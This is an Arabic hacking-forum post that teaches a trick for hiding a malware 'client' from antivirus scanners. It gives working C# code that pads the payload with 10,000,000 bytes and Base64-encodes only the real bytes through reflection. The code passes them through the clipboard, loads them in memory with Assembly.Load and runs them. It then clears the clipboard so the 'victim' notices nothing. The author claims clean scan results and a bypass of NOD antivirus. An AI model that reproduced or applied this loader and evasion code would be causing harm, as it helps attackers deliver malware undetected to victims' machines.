26.12.2017 New Trick Base64String


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,571
2,967
1
حياكم الله ياشباب
من زمان حكيت عن زيادة بايتات بالكلاينت
ونزلت م موضوع عن هالشي
وانا عماتسلى بالسي شارب شفت
Convert.ToBase64String
اللي منحول من خلالها البايت اراي الى قيم بيس64 سترينج
"اعرف اعضاء كثرمابيعرفوها اصلا وبيعتمدو على برامج جاهزة للتحويل من بايت اراي لبيس64 سترينج
مش هون موضوعنا
شفت اننا ممكن انه نحدد الاوفست اللي ببلش بعده التحويل
وايضا لينجث الملف المراد تحويله
فاللي قمت فيه انني اضفت 10000000 اوفست بداية الكلاينت
ومن ثم عند التحويل لقيم بيس64 سترينج
C#:
Clipboard.SetText((string)Type.GetType("System.Convert")?.GetMethod("ToBase64String", new[] { typeof(byte[]), typeof(int), typeof(int) })
?.Invoke(null, new[] {Type.GetType("System.IO.File")?.GetMethod("ReadAllBytes", new []{typeof(string)})
?.Invoke(null, new object[] {"data.rar"}),10000000, 16896 }) ?? throw new InvalidOperationException());
قمت بتحديد البداية هيه من بعد ال10000000 اوفست اللي اضفتهم
واللينجث هو 16896 واللي هو لينجث الكلاينت الخاص بي
فحول فقط هال16896واستثنى اللي اضفناهم
خزنت الناتج بالكليبورد وبنقطة ادخال جلبت القيم من الكليبورد وحولتهم لبايت اراي وشغلتهم
C#:
Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new []{typeof(byte[])})
?.Invoke(null, new[] { Type.GetType("System.Convert")?.GetMethod("FromBase64String", new []{typeof(string)})?.Invoke(null, new object[]
{Clipboard.GetText()}) })?? throw new InvalidOperationException(), "EntryPoint", CallType.Get), "Invoke", CallType.Method, 10000000- 10000000, null);
بس لاتنسى بالسورس لان نسيت بالفديو اعمل حذف لمابداخل الكليبورد
C#:
Clipboard.Clear();
عشان ان الضحية عمل لصق مايطلعله القيم
النتيجة كلين
Results | Metadefender.com
Results | Metadefender.com
وتجاوزنا النود بالفديو طبعا مع اشعار لان ماعملنا شي ابدا لاتشفير ولاشي
ملاحظة : بامكانك حقن البايتات كالعادة




لمشاهدة الفديو من المرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك